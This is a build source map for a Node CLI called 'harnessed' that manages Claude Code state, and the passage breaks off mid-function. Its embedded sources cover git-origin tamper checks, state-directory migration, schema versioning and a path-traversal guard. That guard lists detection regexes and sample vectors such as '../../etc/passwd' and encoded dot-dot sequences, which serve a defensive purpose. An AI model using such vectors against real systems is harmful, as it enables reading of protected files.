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","file":"cli.mjs","sourcesContent":["// Phase 2.4 W1 T1.1 — sister-share helper for doctor #5 (warn mode) +\n// audit (hard-fail mode allowFork=false). Karpathy hard limit ≤80L per B-38.\n// Source: RESEARCH § 1.2.5 + § 4.1.1 + D2.4-3.\nimport { spawnSync } from 'node:child_process'\nimport { readFileSync } from 'node:fs'\nimport { join } from 'node:path'\n\nexport interface OriginCheckResult {\n status: 'pass' | 'warn' | 'fail'\n detail: string\n fix?: string\n}\n\nexport interface OriginCheckOptions {\n /** true = doctor (warn on drift — fork 合法), false = audit (fail on drift — tamper) */\n allowFork?: boolean\n}\n\n/** Normalize a git remote URL — strip protocol prefix, trailing .git, ssh `:` → `/`. */\nfunction normalizeUrl(s: string): string {\n return s\n .trim()\n .replace(/^(https?:\\/\\/|git@github\\.com:|ssh:\\/\\/git@github\\.com\\/)/, '')\n .replace(/\\.git$/, '')\n .replace(':', '/')\n .replace(/\\/$/, '')\n .toLowerCase()\n}\n\n/**\n * Verify `git remote get-url origin` matches expected URL from `package.json#repository.url`.\n * doctor uses allowFork=true (warn); audit uses allowFork=false (fail).\n */\nexport function checkOrigin(\n cwd: string = process.cwd(),\n opts: OriginCheckOptions = {},\n): OriginCheckResult {\n const allowFork = opts.allowFork ?? true\n // 1. Read expected URL from package.json `repository.url` SSOT.\n let expected: string | null = null\n try {\n const pkg = JSON.parse(readFileSync(join(cwd, 'package.json'), 'utf8')) as {\n repository?: string | { url?: string }\n }\n expected = typeof pkg.repository === 'string' ? pkg.repository : (pkg.repository?.url ?? null)\n } catch {\n // package.json missing 是合法 case (npm 全局装 / detached run).\n }\n if (!expected) {\n return {\n status: 'warn',\n detail: 'package.json has no repository.url field',\n fix: 'add `repository` field to package.json',\n }\n }\n // 2. Read actual git remote origin URL.\n const r = spawnSync('git', ['config', '--get', 'remote.origin.url'], {\n cwd,\n encoding: 'utf8',\n })\n if (r.status !== 0) {\n return {\n status: 'warn',\n detail: 'no git remote origin (detached / non-clone)',\n fix: 'git remote add origin <expected-url>',\n }\n }\n const actual = r.stdout.trim()\n if (normalizeUrl(actual) === normalizeUrl(expected)) {\n return { status: 'pass', detail: actual }\n }\n // 4. Drift: warn for doctor (fork 合法), fail for audit (tamper detection).\n return {\n status: allowFork ? 'warn' : 'fail',\n detail: `origin '${actual}' ≠ expected '${expected}'`,\n fix: allowFork\n ? 'verify intentional fork; if not, `git remote set-url origin <expected>`'\n : 'origin URL drift — possible tamper, `git remote set-url origin <expected>` to restore',\n }\n}\n","// v3.0.3 hotfix — Claude-Code-co-located state/checkpoint/audit/lock/governance roots.\n//\n// Problem: pre-v3.0.3 the harness rooted ALL of its own state directories at\n// `process.cwd()` via the literal path `.harnessed/...`. When a user launches\n// `harnessed setup` from a read-only CWD (e.g. Warp terminal default\n// `C:\\Program Files\\Warp\\`) the very first mkdir call inside a successful\n// install path (`updateInstalled` → write `<cwd>/.harnessed/state.json`)\n// throws `EPERM: operation not permitted, mkdir 'C:\\Program Files\\Warp\\.harnessed'`,\n// surfacing in the Step B parallel batch as the anonymous `[B] failed ?:` line\n// (Promise.allSettled rejection → fallback to `name: '?'`).\n//\n// Historical context:\n// - v2.0.1 already migrated `.harnessed-backup/` → `~/.harnessed/backups/`\n// via `getBackupRoot()` in `backup.ts` (sister pattern, single SoT).\n// - v3.0.2 added `getMcpSpawnCwd()` for the MCP-install spawn cwd surface.\n// - v3.0.3 generalises the migration to the **rest** of the harness-owned\n// state directories (state.json + checkpoints/ + current-workflow.json +\n// .lock + audit.log + governance.json + archive/) AND co-locates the\n// entire root under `~/.claude/harnessed/` next to `~/.claude/skills/`\n// and `~/.claude.json` — the user's Claude Code state directory is the\n// natural neighbor for the harness's Claude-Code-managing state.\n//\n// Solution: `getHarnessedRoot()` returns `homedir()/.claude/harnessed`\n// unconditionally (sister `getBackupRoot()` v2.0.1 posture). All callers\n// compose their subdir via `harnessedSubdir(name)` so the SoT is honored.\n//\n// Auto-migration: `migrateLegacyHarnessedRoot()` detects pre-v3.0.3\n// `~/.harnessed/` (v2.0.1+ users with existing backups) and renames it\n// atomically to `~/.claude/harnessed/`. Called lazily on first\n// `getHarnessedRoot()` use so any harnessed CLI command triggers the move\n// without requiring a re-run of `harnessed setup`.\n//\n// Why unconditional (no probe + fallback)? Symmetric with v2.0.1 + v3.0.2 —\n// homedir is reliably writable on Win/Mac/Linux; falling back to ctx.cwd\n// re-introduces the EPERM bug we are fixing. `~/.claude/` is already created\n// by Claude Code itself when the user installs CC, so the parent always exists.\n\nimport { existsSync, mkdirSync, renameSync } from 'node:fs'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\n\n/**\n * Return the homedir-rooted harness state root, co-located under Claude Code's\n * state directory.\n *\n * Sister: `src/installers/lib/backup.ts:32` `getBackupRoot()` v2.0.1 and\n * `src/installers/lib/safeCwd.ts` `getMcpSpawnCwd()` v3.0.2 — same unconditional\n * homedir posture.\n *\n * Returns absolute path `<homedir>/.claude/harnessed`. Callers should use\n * `harnessedSubdir(name)` for nested directories rather than `join` directly,\n * to keep all path composition routed through the single SoT.\n *\n * Pure path composition — no filesystem side effects. Legacy directory\n * migration is performed explicitly by CLI entry points via\n * `migrateLegacyHarnessedRoot()` (called from `src/cli.ts` before any\n * subcommand runs), keeping unit tests free of fs side-effects.\n *\n * Test isolation: if `HARNESSED_ROOT_OVERRIDE` is set, return that value\n * verbatim. This is the supported mechanism for e2e tests to redirect the\n * harness root into a per-test tmpdir without polluting the real user home\n * directory. Production code never sets this env var; the override has no\n * effect on real CLI invocations.\n */\nexport function getHarnessedRoot(): string {\n const override = process.env.HARNESSED_ROOT_OVERRIDE\n if (override !== undefined && override !== '') return override\n return join(homedir(), '.claude', 'harnessed')\n}\n\n/**\n * Compose a subdirectory under the harness root. Convenience over\n * `join(getHarnessedRoot(), name)` so callers do not have to import `path`.\n *\n * Example: `harnessedSubdir('checkpoints')` →\n * `<homedir>/.claude/harnessed/checkpoints`.\n */\nexport function harnessedSubdir(name: string): string {\n return join(getHarnessedRoot(), name)\n}\n\n/**\n * Compose a file path under the harness root.\n *\n * Example: `harnessedFile('state.json')` →\n * `<homedir>/.claude/harnessed/state.json`.\n */\nexport function harnessedFile(name: string): string {\n return join(getHarnessedRoot(), name)\n}\n\n/**\n * Migrate the legacy `~/.harnessed/` directory (created by v2.0.1+ for\n * `backups/` and by v3.0.2 for state surfaces) to the new co-located\n * `~/.claude/harnessed/` location.\n *\n * Four cases:\n * 1. Only legacy exists → atomic rename to new path.\n * 2. Only new exists → no-op (already migrated or fresh install).\n * 3. Both exist → rename legacy to `~/.harnessed.legacy-bak/`\n * and emit a stderr warning. Preserves user data;\n * avoids data loss from a clobbering merge.\n * 4. Neither exists → no-op (fresh install).\n *\n * Sync API (renameSync) because this runs once at startup and we want the\n * harnessed root to be in its final location before any other helper composes\n * a path against it. The performance cost of a single rename is negligible.\n *\n * No catch-and-swallow: filesystem errors propagate to the caller so the\n * harness fails loudly rather than silently writing to the wrong location.\n * Idempotency is preserved by the `migrationAttempted` guard above + by\n * checking the legacy-bak sentinel before renaming a second time.\n */\nexport function migrateLegacyHarnessedRoot(): void {\n const legacyRoot = join(homedir(), '.harnessed')\n const newRoot = join(homedir(), '.claude', 'harnessed')\n const claudeParent = join(homedir(), '.claude')\n\n if (!existsSync(legacyRoot)) return // cases 2 + 4: nothing to do\n\n if (!existsSync(newRoot)) {\n // Case 1: clean migration.\n mkdirSync(claudeParent, { recursive: true })\n renameSync(legacyRoot, newRoot)\n console.error(\n `[harnessed] migrated legacy state directory ${legacyRoot} → ${newRoot} (v3.0.3 path change)`,\n )\n return\n }\n\n // Case 3: both exist — preserve legacy under a sibling bak path. If the\n // bak path already exists, a prior run already did the rescue + the legacy\n // path is somehow back; surface that clearly rather than overwriting.\n const safetyBak = join(homedir(), '.harnessed.legacy-bak')\n if (existsSync(safetyBak)) {\n console.error(\n `[harnessed] WARN: ${legacyRoot} reappeared after a prior migration (existing bak at ${safetyBak}); leaving in place — inspect manually if needed`,\n )\n return\n }\n renameSync(legacyRoot, safetyBak)\n console.error(\n `[harnessed] both ${legacyRoot} and ${newRoot} existed — legacy directory preserved at ${safetyBak} (review manually if you need data from it; v3.0.3 path change)`,\n )\n}\n","// src/cli/lib/probe-gstack.ts — Phase 3.2 W1 T1.4 — D-01 PROBE PRIMARY helper\n// (sister Phase 2.4 W3 origin-check.ts sister-share extract pattern for Karpathy\n// ≤200L 守门 — keeps doctor.ts ≤200L). Probes 4 outcome branches: gstack-only\n// (pass) / bare-only (pass) / both (ambiguous, fail+fix) / neither (fail+install).\n// Win shell flavor sister doctor.ts L80 checkJq pattern (process.platform switch).\nimport { spawnSync } from 'node:child_process'\n\nexport type GstackPrefix = 'gstack-' | ''\n\nexport interface ProbeResult {\n status: 'pass' | 'fail'\n prefix?: GstackPrefix\n detail: string\n fix?: string\n}\n\nfunction probeOne(cmd: string): boolean {\n // sister doctor.ts L80 checkJq pattern: Node spawnSync 不继承 shell context,\n // 跨 Win-shell 唯一稳路径 (RESEARCH § 1.2 verified).\n const finder = process.platform === 'win32' ? 'where' : 'which'\n const r = spawnSync(finder, [cmd], { encoding: 'utf8' })\n return r.status === 0 && (r.stdout?.trim().length ?? 0) > 0\n}\n\n/** Probe PATH for gstack command prefix. 4 outcome branches per D-01 LOCKED\n * (RESEARCH § 1.4 message table verbatim — Karpathy fail-loud discipline). */\nexport function probeGstackPrefix(): ProbeResult {\n const hasGstack = probeOne('gstack-office-hours')\n const hasBare = probeOne('office-hours')\n if (hasGstack && !hasBare) {\n return { status: 'pass', prefix: 'gstack-', detail: 'gstack-office-hours found' }\n }\n if (!hasGstack && hasBare) {\n return { status: 'pass', prefix: '', detail: 'office-hours found (--no-prefix mode)' }\n }\n if (hasGstack && hasBare) {\n return {\n status: 'fail',\n detail: 'both gstack-office-hours AND office-hours found — ambiguous',\n fix: 'edit .harnessed/config.json manually: \\'{\"gstack_prefix\":\"gstack-\"}\\' OR \\'{\"gstack_prefix\":\"\"}\\'',\n }\n }\n return {\n status: 'fail',\n detail: 'neither gstack-office-hours nor office-hours found in PATH',\n fix: 'install gstack: `npm i -g @gstack/cli` (or your preferred install method)',\n }\n}\n","// Phase 5.2 W2 T2.1 — R10.4 path traversal guard (D-03 + D-08).\n// Sister: src/cli/audit-log.ts REDACT_PATTERNS module-level pre-compile pattern.\n// Pre-compile at module load (NOT inside guardPath — per PLAN sneak-block +\n// RESEARCH § 3.1 Pitfall 4: do NOT use inside hot loop).\n// D-08: PathTraversalError message generic — NOT echo user input (CSO veto).\n// Karpathy hard limit ≤200L.\n\n// D-03 LOCKED: 5 OWASP A1 path traversal vectors (CONTEXT.md D-03 L66-71).\nconst PATH_TRAVERSAL_PATTERNS: RegExp[] = [\n /\\.\\.\\//, // (1) Unix dot-dot-slash: ../../etc/passwd\n /\\.\\.\\\\/, // (2) Windows backslash: ..\\windows\\system32\n // biome-ignore lint/suspicious/noControlCharactersInRegex: intentional null-byte injection detection (R10.4 D-03 OWASP A1 vector 3)\n /\\x00/, // (3) Null byte injection: path\\x00attack\n /%2[eE]%2[eE]/, // (4) URL-encoded dot-dot: %2e%2e%2fetc\n /%25[2][eE]%25[2][eE]/, // (5) Double-encoded: %252e%252e%252f\n]\n\n/** D-08: generic message — NOT echo back user input (attack reconnaissance leakage CSO veto). */\nexport class PathTraversalError extends Error {\n constructor() {\n super('path traversal attempt detected')\n this.name = 'PathTraversalError'\n Object.setPrototypeOf(this, PathTraversalError.prototype)\n }\n}\n\n/**\n * Guard a user-supplied path/name against the 5 OWASP A1 traversal vectors.\n * Throws PathTraversalError on first match.\n * Safe: does NOT include user input in error message (D-08).\n * Call at CLI entry points only — NOT inside loops (RESEARCH § Pitfall 4).\n */\nexport function checkPathSafe(input: string): void {\n for (const re of PATH_TRAVERSAL_PATTERNS) {\n if (re.test(input)) throw new PathTraversalError()\n }\n}\n","// Phase 2.2 Wave 2 T2.0 — schemaVersion 7-surface infrastructure (CD-5).\n// ADR 0011 errata — schemaVersion convention (phase 2.2 W2 — F4 / D-16 / B-32).\n//\n// IMPL NOTE — implements `.planning/intel/omc-comparison.md` § CD-5 (single\n// 兼容门 ⭐⭐⭐ ECC pattern, 纯学不 vendor). Naming convention\n// `harnessed.<surface>.v<N>` covers 18 schema-producing surfaces. Three consumer\n// rules (documented as JSDoc on each export below):\n// (a) consumers MUST branch on `schemaVersion` (use `branchOnSchemaVersion`)\n// (b) unknown `schemaVersion` values gracefully degrade (treated as `unknown`\n// bucket — adapter-specific strings are legal, never throw)\n// (c) new fields MUST be added nested (never top-level on existing surface)\n//\n// The 18 surfaces are the schema-producing artifacts:\n// - routing-snapshot : routing engine arbitrate output snapshot\n// - handoff-doc : phase → phase handoff document\n// - phases-yaml : workflows/execute-task/phases.yaml\n// - manifest-state : .harnessed/state/manifest.json\n// - installer-state : .harnessed/state/installer.json\n// - route-decision-log : routing decision audit log\n// - checkpoint : execute-task workflow checkpoint envelope\n// - current-workflow : workflow state machine (active / paused / complete) ← Phase 3.1 W1 T1.1 ADD (8th surface, D-02 KARPATHY 3-state lock)\n// - config : .harnessed/config.json (gstack_prefix store) ← Phase 3.2 W1 T1.1 ADD (9th surface, D-01 PROBE)\n// - governance : .harnessed/governance.json (gstack veto status) ← Phase 3.2 W1 T1.1 ADD (10th surface, D-04 PUSH)\n// - plan-feature : src/workflow/schema/planFeature.ts ← Phase 3.3 W0 T0.5 BACKFILL (11th surface)\n// - aliases : manifests/aliases.yaml ← Phase 3.3 W1 T1.1 ADD (12th surface, D-01 RICH)\n// - known-good : versions/<harnessed-ver>-known-good.yaml ← Phase 3.3 W1 T1.1 ADD (13th surface, D-03 YAML manifest)\n// - capabilities : workflows/capabilities.yaml ← Phase v2.0-2.3 W0 ADD 14th surface (R20.2 flat yaml capabilities manifest validate)\n// - judgment : workflows/judgments/*.yaml ← Phase v2.0-2.3 W0 ADD 15th surface (R20.4 multi-file judgments validate)\n// - workflow : workflows/<sub>/workflow.yaml v2 ← Phase v2.0-2.4 W0 ADD 16th surface (R20.1+R20.2+R20.9)\n// - workflow_v3 : workflows/<stage>/<sub>/workflow.yaml v3 ← Phase v3.0-3.3 W0 T3.3.W0.11 ADD 17th surface (D-09 disciplines_applied + D-05 tools_available + master delegates_to)\n// - discipline : workflows/disciplines/*.yaml ← Phase v3.0-3.3 W0 T3.3.W0.11 ADD 18th surface (D-09 L0 Discipline Substrate)\n//\n// TypeBox is the established schema lib (sister of `src/manifest/schema/spec.ts`).\n\nimport { type Static, Type } from '@sinclair/typebox'\n\n/** SchemaVersion template literal — `harnessed.<surface>.v<N>`. Each producer\n * declares its surface name once via `SCHEMA_VERSIONS` below and references it\n * through this type, so a string literal drift is a compile error.\n * Default is `.v1`; v2 entry sister: `SchemaVersionV2<S>` for explicit v2 surfaces;\n * v3 entry sister: `SchemaVersionV3<S>` for explicit v3 surfaces. */\nexport type SchemaVersion<S extends string> = `harnessed.${S}.v1`\nexport type SchemaVersionV2<S extends string> = `harnessed.${S}.v2`\nexport type SchemaVersionV3<S extends string> = `harnessed.${S}.v3`\n\n/** Single source of truth for the 18 surface names (B-32 / D-16). Producers MUST\n * import from this const — direct string literals fail the Wave 2 grep\n * acceptance (≥ 18 `harnessed.\\w+.v\\d` references in src/types/*.ts). */\nexport const SCHEMA_VERSIONS = {\n routingSnapshot: 'harnessed.routing-snapshot.v1',\n handoffDoc: 'harnessed.handoff-doc.v1',\n phasesYaml: 'harnessed.phases-yaml.v1',\n manifestState: 'harnessed.manifest-state.v1',\n installerState: 'harnessed.installer-state.v1',\n routeDecisionLog: 'harnessed.route-decision-log.v1',\n checkpoint: 'harnessed.checkpoint.v1',\n currentWorkflow: 'harnessed.current-workflow.v1', // ← Phase 3.1 W1 T1.1 ADD 8th surface (D-02 KARPATHY 3-state)\n config: 'harnessed.config.v1', // ← Phase 3.2 W1 T1.1 ADD 9th surface (D-01 PROBE gstack_prefix store)\n governance: 'harnessed.governance.v1', // ← Phase 3.2 W1 T1.1 ADD 10th surface (D-04 PUSH veto status)\n planFeature: 'harnessed.plan-feature.v1', // ← Phase 3.3 W0 T0.5 BACKFILL 11th surface\n aliases: 'harnessed.aliases.v1', // ← Phase 3.3 W1 T1.1 ADD 12th surface (D-01 RICH)\n knownGood: 'harnessed.known-good.v1', // ← Phase 3.3 W1 T1.1 ADD 13th surface (D-03 YAML manifest)\n capabilities: 'harnessed.capabilities.v1', // ← Phase v2.0-2.3 W0 ADD 14th surface (R20.2 flat yaml capabilities manifest validate)\n judgment: 'harnessed.judgment.v1', // ← Phase v2.0-2.3 W0 ADD 15th surface (R20.4 multi-file judgments validate)\n workflow: 'harnessed.workflow.v2', // ← Phase v2.0-2.4 W0 T2.4.W0.1 ADD 16th surface (R20.1+R20.2+R20.9 workflow.yaml v2)\n workflow_v3: 'harnessed.workflow.v3', // ← Phase v3.0-3.3 W0 T3.3.W0.11 ADD 17th surface (D-09 disciplines_applied + D-05 tools_available + master delegates_to per Pattern A B.1 LOCK)\n discipline: 'harnessed.discipline.v1', // ← Phase v3.0-3.3 W0 T3.3.W0.11 ADD 18th surface (D-09 L0 Discipline Substrate, sister judgment.v1 multi-file pattern)\n} as const\n\n/** TypeBox literal union — useful as a refinement on a `schemaVersion` field\n * inside any surface schema (e.g. `schemaVersion: SchemaVersionLiteral`). */\nexport const SchemaVersionLiteral = Type.Union([\n Type.Literal(SCHEMA_VERSIONS.routingSnapshot),\n Type.Literal(SCHEMA_VERSIONS.handoffDoc),\n Type.Literal(SCHEMA_VERSIONS.phasesYaml),\n Type.Literal(SCHEMA_VERSIONS.manifestState),\n Type.Literal(SCHEMA_VERSIONS.installerState),\n Type.Literal(SCHEMA_VERSIONS.routeDecisionLog),\n Type.Literal(SCHEMA_VERSIONS.checkpoint),\n Type.Literal(SCHEMA_VERSIONS.currentWorkflow), // ← Phase 3.1 W1 T1.1 ADD 8th surface\n Type.Literal(SCHEMA_VERSIONS.config), // ← Phase 3.2 W1 T1.1 ADD 9th surface\n Type.Literal(SCHEMA_VERSIONS.governance), // ← Phase 3.2 W1 T1.1 ADD 10th surface\n Type.Literal(SCHEMA_VERSIONS.planFeature), // ← Phase 3.3 W0 T0.5 BACKFILL 11th surface\n Type.Literal(SCHEMA_VERSIONS.aliases), // ← Phase 3.3 W1 T1.1 ADD 12th surface\n Type.Literal(SCHEMA_VERSIONS.knownGood), // ← Phase 3.3 W1 T1.1 ADD 13th surface\n Type.Literal(SCHEMA_VERSIONS.capabilities), // ← Phase v2.0-2.3 W0 ADD 14th surface\n Type.Literal(SCHEMA_VERSIONS.judgment), // ← Phase v2.0-2.3 W0 ADD 15th surface\n Type.Literal(SCHEMA_VERSIONS.workflow), // ← Phase v2.0-2.4 W0 T2.4.W0.1 ADD 16th surface (first .v2 in union)\n Type.Literal(SCHEMA_VERSIONS.workflow_v3), // ← Phase v3.0-3.3 W0 T3.3.W0.11 ADD 17th surface (first .v3 in union)\n Type.Literal(SCHEMA_VERSIONS.discipline), // ← Phase v3.0-3.3 W0 T3.3.W0.11 ADD 18th surface\n])\n\nexport type SchemaVersionLiteralType = Static<typeof SchemaVersionLiteral>\n\n/** Consumer branch helper — rule (a) consumer MUST branch on `schemaVersion`;\n * rule (b) unknown values gracefully degrade to the `unknown` handler. The\n * handler-shape encodes the contract so the type system enforces it.\n *\n * Phase v3.0-3.3 NOTE: `workflow.v3` and `discipline.v1` are the latest\n * surfaces. The v1 handler accepts any *known* surface regardless of version\n * suffix — consumers of v2/v3-only surfaces must check the literal explicitly\n * (the schema_version field is also Type.Literal-constrained at schema-level,\n * so structural drift fails earlier). */\nexport function branchOnSchemaVersion<T>(\n v: string,\n handlers: { v1: () => T; unknown: () => T },\n): T {\n // Any string matching a registered SCHEMA_VERSIONS value (v1, v2, or v3) routes\n // to the v1 handler — the legacy name reflects rule (a) \"known surface\" semantics.\n const isKnownVersion = (Object.values(SCHEMA_VERSIONS) as readonly string[]).includes(v)\n return isKnownVersion ? handlers.v1() : handlers.unknown()\n}\n","// src/manifest/schema/aliases.v1.ts — Phase 3.3 W1 T1.2 (D-01 RICH 12th surface).\n// Sister Phase 3.2 W1 T1.3 (governance.ts TypeBox shape direct analog).\n// RICH schema rejected FLAT (失 metadata) + TIERED (Karpathy YAGNI violation).\n// Manifest-domain colocation: src/manifest/schema/ (sister spec.ts + metadata.ts\n// existing manifest-domain schemas). Per W0.3 decision doc colocation rule.\n// ISO-date `pattern` NOT `format: 'date'` (Phase 3.2 W2 Rule 1 lesson:\n// FormatRegistry.Set not registered project-wide; `pattern` is zero-config\n// equivalent + sister governance.ts vetoed_at pattern precedent).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nexport const AliasEntryV1 = Type.Object(\n {\n redirect: Type.String({ minLength: 1 }),\n reason: Type.String({ minLength: 1, maxLength: 500 }), // DOS cap sister governance.ts\n since_version: Type.String({ pattern: '^\\\\d+\\\\.\\\\d+\\\\.\\\\d+$' }), // semver strict\n deprecation_date: Type.String({ pattern: '^\\\\d{4}-\\\\d{2}-\\\\d{2}$' }), // ISO-date Phase 3.2 W2 Rule 1\n removal_date: Type.Optional(Type.String({ pattern: '^\\\\d{4}-\\\\d{2}-\\\\d{2}$' })), // optional long-tail window\n },\n { additionalProperties: false },\n)\n\nexport const AliasesV1 = Type.Object(\n {\n schemaVersion: Type.Literal(SCHEMA_VERSIONS.aliases), // 'harnessed.aliases.v1'\n aliases: Type.Record(Type.String({ minLength: 1 }), AliasEntryV1),\n },\n { additionalProperties: false },\n)\n\nexport type AliasEntryV1Type = Static<typeof AliasEntryV1>\nexport type AliasesV1Type = Static<typeof AliasesV1>\n","// src/manifest/aliases.ts — Phase 3.3 W1 T1.4 — D-01 RICH consumer.\n// Sister src/manifest/validate.ts (yaml.parse + Value.Check) + sister\n// src/checkpoint/state.ts L23-41 (fail-soft read pattern).\n// Memoized 1-read per process (Karpathy YAGNI, only pay cost on doctor 7th\n// check OR install path resolveAlias call). yaml.parse via existing project\n// yaml lib (sister src/manifest/validate.ts convention).\n\nimport { existsSync, readFileSync } from 'node:fs'\nimport { join } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { parse } from 'yaml'\nimport { checkPathSafe } from './lib/path-guard.js'\nimport { AliasesV1, type AliasesV1Type } from './schema/aliases.v1.js'\n\nconst ALIASES_PATH = join(process.cwd(), 'manifests', 'aliases.yaml')\n\nlet _cached: AliasesV1Type | null = null\n\n/** Load aliases.yaml once per process (memoized). Returns null if file absent.\n * Throws Karpathy fail-loud Error on schema invalid (debug locality). */\nexport function loadAliases(): AliasesV1Type | null {\n if (_cached) return _cached\n if (!existsSync(ALIASES_PATH)) return null\n const raw = readFileSync(ALIASES_PATH, 'utf8')\n const parsed = parse(raw) as unknown\n if (!Value.Check(AliasesV1, parsed)) {\n const errs = [...Value.Errors(AliasesV1, parsed)].slice(0, 3)\n throw new Error(\n `aliases.yaml schema invalid: ${errs.map((e) => `${e.path} ${e.message}`).join('; ')}`,\n )\n }\n _cached = parsed\n return parsed\n}\n\n/** Resolve old → new name redirect; returns null if no alias for the name. */\nexport function resolveAlias(name: string): string | null {\n // R10.4 D-04 hardening site 1 — guard user-controlled name before yaml lookup.\n checkPathSafe(name)\n return loadAliases()?.aliases?.[name]?.redirect ?? null\n}\n\n/** List all deprecated entries (consumer: doctor 7th check). */\nexport function listDeprecations(): Array<{\n old: string\n entry: AliasesV1Type['aliases'][string]\n}> {\n const a = loadAliases()\n return a ? Object.entries(a.aliases).map(([old, entry]) => ({ old, entry })) : []\n}\n","// src/cli/lib/check-deprecations.ts — Phase 3.3 W1 T1.6 — D-02 DOCTOR-ONLY-WARN\n// PRIMARY helper (sister Phase 3.2 W1 T1.4 probe-gstack.ts 48L sister-share\n// extract pattern for Karpathy ≤200L 守门 — keeps doctor.ts ≤200L). Lists\n// deprecated manifests by reading manifests/aliases.yaml (D-01 RICH schema)\n// + emits CheckResult for doctor 7th check warning output. Table format\n// multi-deprecation aggregation per Discretion locked (RESEARCH § 3.2 verbatim).\nimport { listDeprecations } from '../../manifest/aliases.js'\n\nexport interface CheckResult {\n name: string\n status: 'pass' | 'warn' | 'fail'\n message: string\n fix?: string\n}\n\n/** Doctor 7th check: list deprecated manifests from aliases.yaml. D-02 DOCTOR-\n * ONLY-WARN: status='warn' when deprecations exist (install path silently\n * redirects, doctor surface here is human-readable audit). */\nexport function checkDeprecations(): CheckResult {\n try {\n const deprecations = listDeprecations()\n if (deprecations.length === 0) {\n return { name: 'deprecated manifests', status: 'pass', message: 'no deprecated manifests' }\n }\n const lines = deprecations.map(({ old, entry }) => {\n const removal = entry.removal_date ? `, removes ${entry.removal_date}` : ''\n return ` '${old}' → '${entry.redirect}' (since ${entry.since_version}, ${entry.deprecation_date}${removal}; ${entry.reason})`\n })\n return {\n name: 'deprecated manifests',\n status: 'warn',\n message: `${deprecations.length} deprecated manifest(s):\\n${lines.join('\\n')}`,\n fix: 'install paths auto-redirect; consider migrating manifest references to new names',\n }\n } catch (e) {\n return {\n name: 'deprecated manifests',\n status: 'fail',\n message: `aliases.yaml load error: ${(e as Error).message}`,\n fix: 'verify manifests/aliases.yaml schema (see docs/PROJECT-SPEC.md)',\n }\n 